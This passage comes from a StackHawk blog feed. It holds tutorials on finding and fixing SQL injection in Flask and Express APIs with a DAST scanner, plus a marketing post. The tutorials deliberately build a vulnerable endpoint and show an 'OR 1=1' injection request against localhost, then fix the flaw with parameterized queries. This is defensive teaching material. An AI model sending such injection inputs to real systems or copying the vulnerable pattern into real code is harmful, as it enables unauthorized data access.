&lt;b&gt;GET&lt;/b&gt; request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;http://localhost:4000/users/1 OR 1=1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This query would cause the SQL command to return all rows in the &lt;b&gt;users&lt;/b&gt;&amp;#39; table because ‘&lt;b&gt;1=1’&lt;/b&gt; is always true. What happens in this scenario is that the SQL query executed by the server turns into something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;SELECT * FROM users WHERE id = 1 OR 1=1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Since 1=1 is always true, this condition bypasses the intended filter and can potentially expose all the data in the &lt;b&gt;users&lt;/b&gt;&amp;#39; table. In the case above, you’ll get the returned data from all three default users we added in the code instead of just a single user.&lt;/p&gt;&lt;h3&gt;Configure StackHawk&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our API is running, let’s get StackHawk to identify this vulnerability for us automatically. To do this, you’ll need to make sure that you have a StackHawk account. If you need one, you can sign up for a trial account or log into an existing account.&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, from the applications page you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App&lt;/b&gt;&lt;/p&gt;&lt;p&gt;If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;Next&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Since we will be testing a RESTful API, on the next page, we will choose our &lt;b&gt;Application Type&lt;/b&gt; as “API”, the &lt;b&gt;API Type&lt;/b&gt; as “REST / OpenAPI”, and point to our OpenAPI Specification file by selecting &lt;b&gt;URL Path&lt;/b&gt; and adding in our endpoint, &lt;b&gt;/api-spec/&lt;/b&gt;, into the textbox. Once complete, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Once complete, we can run the “&lt;b&gt;hawk scan&lt;/b&gt;” command in a terminal pointing to the root of our project. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;After running the “&lt;b&gt;hawk scan&lt;/b&gt;” command in the previous step, you should see the tests beginning to execute in the terminal.
&lt;/p&gt;&lt;p&gt;This will run tests against our API based on the OpenAPI spec using the &lt;b&gt;OpenAPI Spider&lt;/b&gt; provided by StackHawk.&lt;/p&gt;&lt;h3&gt;Explore the initial findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the SQL injection vulnerability that we introduced in the code. To explore this further, we will click on the test link that is provided at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking on the link, we can now see the test results nicely formatted. Next, we will click on the &lt;b&gt;SQL Injection&lt;/b&gt; entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us with fixing this vulnerability as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Just above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, which will display a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing the SQL Injection vulnerability&lt;/h3&gt;&lt;p&gt;Now that we have identified the vulnerability, it’s time to fix it. In this case, to prevent SQL injection in the Flask application, the easiest way to fix this is to modify the code to use parameterized queries. This approach ensures that user input is treated as data, not as part of the SQL command. Doing so prevents attackers from injecting malicious SQL code through user input.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how you can modify the vulnerable endpoint in your&lt;b&gt; app.py &lt;/b&gt;file to use parameterized queries:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let&amp;#39;s summarize the modifications made to the Flask application to address the SQL injection vulnerability. Initially, the application directly included the `id` parameter from the user input into the SQL query string, creating a significant security risk. To mitigate this vulnerability, the code now employs parameterized queries. In the updated query `text(&amp;quot;SELECT * FROM user WHERE id = :id&amp;quot;)`, the `:id` serves as a placeholder for the `id` parameter. This placeholder is securely substituted with the actual `id` value provided in the request through the execution method `db.session.execute(query, {&amp;#39;id&amp;#39;: id})`. This method of handling user input ensures it is always regarded as a data value rather than executable code, effectively preventing SQL injection attacks.&lt;/p&gt;&lt;p&gt;By implementing these changes, the endpoint is safeguarded against SQL injection threats. The application now consistently treats user inputs as parameters rather than parts of the executable SQL command. This practice is essential in the development of secure applications. It underscores the importance of always validating and sanitizing user inputs, in addition to utilizing parameterized queries for processing SQL statements, to protect against possible injection attacks.&lt;/p&gt;&lt;p&gt;To finalize the adjustments, &lt;b&gt;save&lt;/b&gt; the updated code and restart the application. This action ensures that the changes take effect, reinforcing the application&amp;#39;s defense against SQL injection vulnerabilities.&lt;/p&gt;&lt;h3&gt;Confirm the fix!&lt;/h3&gt;&lt;p&gt;With the fix in place, let’s confirm it is working as intended. To do this, back in &lt;b&gt;StackHawk&lt;/b&gt;, we will click the &lt;b&gt;Rescan Findings&lt;/b&gt; button.&lt;/p&gt;&lt;p&gt;Then, we will see a modal containing the &lt;b&gt;“hawk rescan” &lt;/b&gt;command that includes the correct&lt;b&gt; Scan ID&lt;/b&gt;. You’ll run this command in the same terminal where you ran the initial set of tests.
&lt;/p&gt;&lt;p&gt;
In the output, you will again see any vulnerabilities found in the scan. In this case, you’ll see that the SQL injection vulnerability is no longer showing. Clicking on the link at the bottom of the terminal output, you can confirm that the SQL injection vulnerability has now been added to the &lt;b&gt;Fixed Findings from Previous Scan&lt;/b&gt;, confirming that the vulnerability has been successfully fixed and has passed any vulnerability tests.&lt;/p&gt;&lt;h2&gt;Try it out!&lt;/h2&gt;&lt;p&gt;With that, we&amp;#39;ve successfully used StackHawk to scan an API, identify a SQL injection issue, and confirm that our fix worked as intended. Are you looking to make your applications more secure and put the power of security testing into the hands of developers? With StackHawk, “shift-left” the responsibility of security and empower developers to build secure APIs and applications with ease. Want to give it a try for yourself? &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Sign up&lt;/a&gt; for StackHawk today for a free 14-day trial.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Accelerating Security with StackHawk: Reducing Distance, Maximizing Speed]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/accelerating-security-with-stackhawk-reducing-distance-maximizing-speed</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;Hey there, StackHawk fam! Scott here, and today we&amp;#39;re diving into why we do things a bit differently when it comes to security testing. You&amp;#39;ve probably wondered why we don&amp;#39;t do scheduled scans from our SaaS platform or offer a hosted scanner. Well, let&amp;#39;s break it down, StackHawk style.&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Reducing Distance: Closer to Your Code&lt;/b&gt;&lt;/p&gt;&lt;p&gt;When it comes to dynamic security testing, physical distance matters. Traditional hosted scanners can introduce unnecessary delays due to the distance between the testing engine and your application. Here at StackHawk, we&amp;#39;re bringing the testing engine as close to your running application or API as possible. By minimizing distance, we ensure that security scans are lightning-fast and provide real-time feedback to keep your development process moving at warp speed.&lt;/p&gt;&lt;p&gt;&lt;b&gt;2. Maximizing Speed: On-Demand, Instant Results&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Nobody has time to wait around for scans queued up in a vendor&amp;#39;s scheduler anymore. With StackHawk, you can fire off tests on-demand, or use your own CI/CD scheduling infrastructure (you know your CI/CD can schedule activities, right?) to get instant results any time a developer commits code or deploys apps into QA. You can scan all the things in parallel as needed, no waiting, no delays—just rapid feedback to help you squash those vulnerabilities and ship code with confidence. Speed is our middle name (well, not literally, but you get the idea).&lt;/p&gt;&lt;p&gt;Take it from our friends at &lt;a href=&quot;https://www.stackhawk.com/customers/one-medical/&quot;&gt;&lt;u&gt;One Medical&lt;/u&gt;&lt;/a&gt;, &lt;i&gt;“The process of scanning the application and integrating with CircleCI was super easy...With StackHawk&amp;#39;s CircleCI Orb, teams can quickly add an application security test to the build pipeline, ensuring visibility to any newly added vulnerabilities before the application is in production.”&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3. Protecting Credentials: Eliminating Exposure&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s talk about security, because, well, that&amp;#39;s kind of our thing. The hardest part of dynamic testing is often authentication. One big advantage of not having a hosted scanner? We keep your authentication credentials right where they belong—in your hands. I definitely don’t want them. With traditional scanners, you&amp;#39;re often handing over sensitive credentials to a third party, opening up all sorts of potential risks. By nixing the hosted scanner, we minimize exposure and keep your credentials safe and sound.&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Tailored Solutions: Customized to Your Needs&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Every app is unique, and your security testing should be too. StackHawk gives you the power to customize testing to fit your needs. Whether you&amp;#39;re fine-tuning parameters, targeting specific endpoints, or &lt;a href=&quot;https://www.stackhawk.com/blog/policy-management-speed-up-scans-and-cover-special-test-cases/&quot;&gt;&lt;u&gt;prioritizing critical vulnerabilities&lt;/u&gt;&lt;/a&gt;, we&amp;#39;ve got you covered. No cookie-cutter solutions here—just tailor-made security testing to keep your code locked down tight. And by the way, if nightly scanning is what you really need, you can do that too in CI/CD.&lt;/p&gt;&lt;p&gt;&lt;b&gt;4. Seamless Integration: Built for DevOps Velocity&lt;/b&gt;&lt;/p&gt;&lt;p&gt;We&amp;#39;re all about making security a seamless part of your DevOps workflow. With our API-first architecture and CI/CD pipeline integration, you can automate security testing and catch vulnerabilities early in the game. It&amp;#39;s all about minimizing risk, accelerating time to market, and keeping your development process humming along smoothly.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/customers/maya/&quot;&gt;&lt;u&gt;Maya’s experience&lt;/u&gt;&lt;/a&gt; is a hawksome example of this, &lt;i&gt;“With StackHawk, being embedded in the pipeline it enabled our developers to detect and remediate the vulnerability right away even before any security audits, which reduces the time to remediate to only a few days compared to weeks before the implementation.”&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;5. Speeding Toward a Secure Future&lt;/b&gt;&lt;/p&gt;&lt;p&gt;At StackHawk, we&amp;#39;re on a mission to make security testing fast, integrated, and developer-friendly. By reducing distance, maximizing speed, and providing tailored solutions, customers have been able to create secure software without sacrificing velocity. Join us in accelerating toward a future where security is not just a checkbox but a fundamental part of every development cycle.&lt;/p&gt;&lt;p&gt;Ready to experience the speed of StackHawk? &lt;a href=&quot;https://www.stackhawk.com/#request-a-demo&quot;&gt;Book a demo&lt;/a&gt; with our team, or &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up&lt;/a&gt; for a free trial today!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Finding and Fixing SQL Injection Vulnerabilities in Node (Express) with StackHawk]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/finding-and-fixing-sql-injection-in-node-express-with-stackhawk</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In today&amp;#39;s rapidly evolving digital landscape, the security of web applications and APIs is more crucial than ever. With cyber threats becoming increasingly sophisticated, protecting sensitive data against unauthorized access is a top priority for developers and businesses. Among the numerous security vulnerabilities that frequently plague web applications and APIs, SQL Injection stands out as one of the most dangerous and prevalent.&lt;/p&gt;&lt;p&gt;In this blog, we delve into the world of web application security by exploring SQL Injection vulnerabilities. First, we will build a simple API with Node and Express, then configure StackHawk and use HawkScan through the Hawk CLI to identify any vulnerabilities. This hands-on approach will highlight how SQL injection vulnerabilities are introduced and demonstrate practical steps to fix them. After addressing the SQL injection vulnerability in our code, we&amp;#39;ll retest with StackHawk to ensure the security issue is resolved. Let’s start by looking at the basics of StackHawk and SQL injection.&lt;/p&gt;&lt;h2&gt;What is StackHawk?&lt;/h2&gt;&lt;p&gt;StackHawk is a modern, powerful DAST tool designed for developers to integrate application security testing seamlessly into their software development lifecycle. It is not just another security tool; it&amp;#39;s a developer-first platform emphasizing automation, ease of use, and integration into existing development workflows.&lt;/p&gt;&lt;p&gt;At its core, StackHawk is built around empowering developers to take the lead in application security. It provides a suite of tools that make it easy to find, understand, and fix security vulnerabilities before they make it to production. One of the critical components of StackHawk is HawkScan, a dynamic application security testing (DAST) tool that scans running applications and APIs to identify security vulnerabilities.&lt;/p&gt;&lt;p&gt;With StackHawk, developers and security teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automate Security Testing:&lt;/b&gt; Integrate security testing into CI/CD pipelines, ensuring every build is automatically scanned for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Identify and Fix Vulnerabilities:&lt;/b&gt; Receive detailed, actionable information about each vulnerability, including where it is in the code and how to fix it.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Test in All Environments:&lt;/b&gt; Use StackHawk in various environments, including development, staging, and production, to catch security issues at any stage of the development process.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Customize Scans:&lt;/b&gt; Tailor scanning configurations to suit specific applications and environments, ensuring more relevant and accurate results.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By focusing on a developer-first approach to security testing and integrating smoothly into existing dev tools and practices, StackHawk demystifies application security, making it a more approachable and manageable part of the software development lifecycle.&lt;/p&gt;&lt;h2&gt;What is SQL Injection?&lt;/h2&gt;&lt;p&gt;SQL Injection (SQLi) is a type of security vulnerability that occurs in the database layer of an application. It allows attackers to interfere with the queries that an application makes to its database. This can lead to various harmful outcomes, including unauthorized viewing of data, deletion of data, and, in some cases, complete control over the database&lt;/p&gt;&lt;p&gt;The vulnerability arises when an application uses user input in its SQL queries without proper validation or escaping. Attackers can exploit this by injecting malicious SQL code through the application&amp;#39;s input channels (like forms, URLs, API endpoints, etc.), which can unintentionally manipulate the database.&lt;/p&gt;&lt;p&gt;For example, consider an API that uses a URl parameter to retrieve user information from a database. If this input is inserted into a SQL query without proper safeguards, an attacker could input SQL commands that the database will execute. This could lead to unauthorized access to sensitive data, such as passwords, personal information, etc.&lt;/p&gt;&lt;p&gt;SQL Injection can be classified into different types, such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;In-band SQLi:&lt;/b&gt; The most common and straightforward kind, where the attacker uses the same communication channel to launch the attack and gather results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Inferential SQLi: &lt;/b&gt;The attacker sends data payloads to the server and observes the response and behavior of the server to learn about its structure.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Out-of-band SQLi:&lt;/b&gt; Used when the attacker can&amp;#39;t use the same channel to launch the attack and gather information, often relying on server capabilities to send data to the attacker.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;SQL Injection is a high-severity vulnerability because it can compromise sensitive data and take over database systems. Fortunately, with the right tools and practices, it can be detected and remediated effectively, which we will explore in this blog with the help of StackHawk and HawkScan.&lt;/p&gt;&lt;h2&gt;How can SQL injection impact application security?&lt;/h2&gt;&lt;p&gt;SQL Injection can have a profound and detrimental impact on application security, with consequences ranging from data breaches to complete system compromise. Here’s how SQL Injection can affect application security:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Breach: &lt;/b&gt;The most immediate threat posed by SQL Injection is unauthorized access to sensitive data. Attackers can exploit vulnerable inputs to extract data from the database, exposing personal information, financial details, and other confidential data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Loss and Corruption:&lt;/b&gt; SQL Injection attacks can also be used to delete or modify data in the database. This can result in data loss, data integrity corruption, and application functionality disruption.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unauthorized System Access:&lt;/b&gt; In severe cases, SQL Injection can lead to a complete system takeover. Attackers can use advanced SQL Injection techniques to escalate their privileges within the database, allowing them to execute administrative operations and potentially gain access to the underlying server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Legal and Compliance Issues:&lt;/b&gt; A successful SQL Injection attack can lead to violations of data protection regulations like GDPR, HIPAA, etc. This can result in hefty fines, legal action, and damage to the organization&amp;#39;s reputation.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Loss of Trust:&lt;/b&gt; Customers and users lose trust in applications and businesses that fail to protect their data. A single SQL Injection vulnerability that leads to a data breach can have long-lasting repercussions on an organization&amp;#39;s credibility and customer loyalty.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Financial Costs:&lt;/b&gt; Dealing with the aftermath of a SQL Injection attack can be costly. Expenses can include legal fees, regulatory fines, costs associated with rectifying the breach, and investments in upgrading security measures.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Preventing SQL Injection requires a multi-faceted approach, including proper input validation, use of prepared statements, regular security testing, and awareness training for developers. Tools like StackHawk play a crucial role in identifying potential SQL Injection vulnerabilities, enabling teams to address these issues before they lead to security incidents proactively.&lt;/p&gt;&lt;h2&gt;Finding and Fixing SQL Injection in an Express API&lt;/h2&gt;&lt;p&gt;Now, we will understand SQL injection a bit more deeply by creating a simple API with an endpoint containing a SQL injection vulnerability. In this step-by-step guide, we will create an API using Node and Express, then set up StackHawk to test the application through HawkScan and the Hawk CLI. Once the vulnerability is reported, we will fix the injection flaw and retest to ensure it’s indeed fixed.&lt;/p&gt;&lt;h3&gt;Creating an API with NodeJS and Express&lt;/h3&gt;&lt;p&gt;In this part of the guide, we will create our base project and its corresponding API. For this, we will rely on node and express. To follow along, you will need to ensure that you:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Have node and npm installed&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Have an IDE where you can edit text&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Optionally, have a tool that you can send API requests through to test the endpoint, such as &lt;a href=&quot;https://www.postman.com/&quot;&gt;Postman&lt;/a&gt; or &lt;a href=&quot;https://insomnia.rest/&quot;&gt;Insomnia&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;With the prerequisites above, you can proceed with each step below.&lt;/p&gt;&lt;h4&gt;Step 1: Create and Initialize the Project&lt;/h4&gt;&lt;p&gt;First, create a new directory for your project and navigate into it. If you do this through a terminal, you can run the command below.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;mkdir sql-injection-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;cd sql-injection-api-example&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Next, with the terminal pointed to the root directory, Initialize a new Node.js project with npm using the following command.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm init -y&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Finally, before we write any code, we will Install the following dependencies:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Express:&lt;/b&gt; for setting up the server.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Body-parser: &lt;/b&gt;for parsing incoming request bodies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SQLite3&lt;/b&gt;: for the database (chosen for simplicity; no separate DB server needed).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To do this, using the same terminal pointed to the project root, run the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;npm install express body-parser sqlite3 express-oas-generator&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;h4&gt;Step 2: Create the Application Code&lt;/h4&gt;&lt;p&gt;Now, we will begin to create our API application. In the root directory of the project, create a file named &lt;b&gt;app.js&lt;/b&gt;. This file will contain your Express server and the API endpoint that contains the SQL injection vulnerability.&lt;/p&gt;&lt;p&gt;After creating and opening the &lt;b&gt;app.js&lt;/b&gt; file, add the following code:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;For those wondering about the code above, this Node.js application, built using the Express framework, establishes a simple web API hooked up to a SQLite database. It initializes an Express server and configures it to parse JSON request bodies. The SQLite database, stored in memory, is set up with a `users` table and pre-populated with example data. The application features an API endpoint (&lt;b&gt;`/users`&lt;/b&gt;) that contains a SQL injection vulnerability. Finally, once started, the server will listen for incoming API requests on port 4000.&lt;/p&gt;&lt;h4&gt;
Step 3: OpenAPI Specification&lt;/h4&gt;&lt;p&gt;For this particular API, we will also include an OpenAPI Spec. To do this, we will add an endpoint, &lt;b&gt;/api-spec&lt;/b&gt;, that will automatically generate and respond with an OpenAPI Spec. To do this, we will first add the &lt;b&gt;express-oas-generator&lt;/b&gt; import to our code (it was already installed earlier in the &lt;b&gt;npm install&lt;/b&gt; we ran).&lt;/p&gt;&lt;p&gt;&lt;code&gt;const expressOasGenerator = require(&amp;#39;express-oas-generator&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Then, we will initialize the spec generator just under where we define the express app.&lt;/p&gt;&lt;p&gt;&lt;code&gt;expressOasGenerator.init(app, {});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
With that, the code at the top of our &lt;b&gt;app.js&lt;/b&gt; file will now look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;
Now, make sure to &lt;b&gt;Save&lt;/b&gt; all of the files you’ve updated so that we can run our API service in the next step.&lt;/p&gt;&lt;h4&gt;Step 4: Running the Application&lt;/h4&gt;&lt;p&gt;Finally, let’s start the Node.js application by running the following command in a terminal (pointed at the root directory of the project):&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node app.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
Next, let’s quickly check to make sure that our endpoint is working as intended. As you can see In the provided Node.js Express application, the vulnerability lies in the &lt;b&gt;/users &lt;/b&gt;endpoint. The endpoint concatenates user input directly into an SQL query without sanitization or parameterization. This makes it susceptible to SQL injection.
&lt;/p&gt;&lt;p&gt;In Postman, you can send a simple request to the endpoint. For instance, suppose you want to query the user with ID 1. For this, you could use the following &lt;b&gt;GET&lt;/b&gt; request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;http://localhost:4000/users/1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In a malicious query, an attacker could exploit the SQL injection vulnerability by providing an SQL snippet in the id parameter. For example, they could use the following amended &lt;b&gt;GET&lt;/b&gt; request:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;http://localhost:4000/users/1 OR 1=1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This query would cause the SQL command to return all rows in the &lt;b&gt;users&lt;/b&gt;&amp;#39; table because ‘&lt;b&gt;1=1’&lt;/b&gt; is always true. What happens in this scenario is that the SQL query executed by the server turns into something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;SELECT * FROM users WHERE id = 1 OR 1=1&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;
Since 1=1 is always true, this condition bypasses the intended filter and can potentially expose all the data in the &lt;b&gt;users&lt;/b&gt;&amp;#39; table. In the case above, you’ll get the returned data from all 3 default users we added in the code instead of just a single user.&lt;/p&gt;&lt;h3&gt;Configure StackHawk&lt;/h3&gt;&lt;p&gt;Now that our code is set up and our API is running, let’s get StackHawk to identify this vulnerability for us automatically. To do this, you’ll need to make sure that you have a StackHawk account. If you need one, you can &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;sign up&lt;/a&gt; for a trial account or &lt;a href=&quot;https://auth.stackhawk.com/login&quot;&gt;log into&lt;/a&gt; an existing account.&lt;/p&gt;&lt;p&gt;If you’re logging into an existing StackHawk account, from the applications page you’ll click &lt;b&gt;Add an App&lt;/b&gt; -&amp;gt; &lt;b&gt;Create Custom App&lt;/b&gt;&lt;/p&gt;&lt;p&gt;
If you’re new to StackHawk, you’ll be automatically brought into the &lt;b&gt;Add an App&lt;/b&gt; flow. On the &lt;b&gt;Scanner&lt;/b&gt; screen, you’ll see the instructions for installing the StackHawk CLI. Since we will be running our testing locally, we will use this option. Once the &lt;b&gt;hawk init&lt;/b&gt; command is executed successfully, click the &lt;b&gt;Next&lt;/b&gt; button.
&lt;/p&gt;&lt;p&gt;On the next screen, you will fill out an &lt;b&gt;Application Name&lt;/b&gt;, &lt;b&gt;Environment Name&lt;/b&gt;, and &lt;b&gt;Host&lt;/b&gt;. Feel free to copy the default values I’ve added in the screenshot below for our purposes. Once filled out, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Since we will be testing a RESTful API, on the next page, we will choose our &lt;b&gt;Application Type&lt;/b&gt; as “API”, the &lt;b&gt;API Type&lt;/b&gt; as “REST / OpenAPI”, and point to our OpenAPI Specification file by selecting &lt;b&gt;URL Path&lt;/b&gt; and adding in our endpoint, &lt;b&gt;/api-spec/&lt;/b&gt;, into the textbox. Once complete, click &lt;b&gt;Next&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;Lastly, we will need to add a &lt;b&gt;stackhawk.yml&lt;/b&gt; file to the root of our project. Once the file is added, copy the screen&amp;#39;s contents, paste it into the file, and save it. Once complete, we can run the “&lt;b&gt;hawk scan&lt;/b&gt;” command in a terminal pointing to the root of our project. Lastly, we can click the &lt;b&gt;Finish&lt;/b&gt; button.&lt;/p&gt;&lt;h3&gt;Run HawkScan&lt;/h3&gt;&lt;p&gt;After running the “&lt;b&gt;hawk scan&lt;/b&gt;” command in the previous step, you should see the tests beginning to execute in the terminal.&lt;/p&gt;&lt;p&gt;This will run tests against our API based on the OpenAPI spec using the &lt;b&gt;OpenAPI Spider&lt;/b&gt; provided by StackHawk.&lt;/p&gt;&lt;h3&gt;Explore the initial findings&lt;/h3&gt;&lt;p&gt;Once the tests are complete, the terminal will contain some information about any vulnerabilities found. Below, we can see that it has identified the SQL injection vulnerability that we introduced in the code. To explore this further, we will click on the test link that is provided at the bottom of the output. This will take us into the StackHawk platform to explore further.&lt;/p&gt;&lt;p&gt;After clicking on the link, we can now see the test results nicely formatted. Next, we will click on the &lt;b&gt;SQL Injection&lt;/b&gt; entry.&lt;/p&gt;&lt;p&gt;Within this entry, we can see an &lt;b&gt;Overview&lt;/b&gt; and &lt;b&gt;Resources&lt;/b&gt; that can help us with fixing this vulnerability as well as the &lt;b&gt;Request&lt;/b&gt; and &lt;b&gt;Response&lt;/b&gt; that the API returned. Just above this, you will also see a &lt;b&gt;Validate&lt;/b&gt; button, which will display a cURL command with the exact API request used to expose the vulnerability.&lt;/p&gt;&lt;h3&gt;Fixing the SQL Injection vulnerability&lt;/h3&gt;&lt;p&gt;Now that we have identified the vulnerability, it’s time to fix it. In this case, to prevent SQL injection in the Node.js Express application, the easiest way to fix this is to modify the code to use parameterized queries. This approach ensures that user input is treated as data, not as part of the SQL command. Doing so prevents attackers from injecting malicious SQL code through user input.&lt;/p&gt;&lt;p&gt;Here&amp;#39;s how you can modify the vulnerable endpoint in your&lt;b&gt; app.js &lt;/b&gt;file to use parameterized queries:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Let’s recap the changes made in the code to alleviate this vulnerability. First, instead of concatenating the &lt;code&gt;&lt;b&gt;userId&lt;/b&gt;&lt;/code&gt; directly into the SQL statement, the query is parameterized. The &lt;b&gt;?&lt;/b&gt; in the query &lt;code&gt;&lt;b&gt;&amp;quot;SELECT * FROM users WHERE id = ?&amp;quot;&lt;/b&gt;&lt;/code&gt; is a placeholder for the `userId`. This placeholder is then safely replaced by the &lt;code&gt;&lt;b&gt;userId&lt;/b&gt;&lt;/code&gt; value provided in the request. Then, we also use the `db.all` method with an array (&lt;code&gt;&lt;b&gt;[userId]&lt;/b&gt;&lt;/code&gt;) that safely inserts the `userId` into the query. This ensures that user input is always treated as a value and not executable code, thus preventing SQL injection.&lt;/p&gt;&lt;p&gt;The endpoint is now secured against SQL injection attacks by making these changes. The application treats user inputs as parameters, not as parts of the SQL statement, which is a critical practice in developing secure applications. It’s important always to validate and sanitize user inputs and use &lt;a href=&quot;https://www.stackhawk.com/blog/node-js-sql-injection-guide-examples-and-prevention/#data-layer-protection&quot;&gt;parameterized queries&lt;/a&gt; to handle data in SQL statements to mitigate potential injection attempts.&lt;/p&gt;&lt;p&gt;Lastly, &lt;b&gt;save&lt;/b&gt; the code 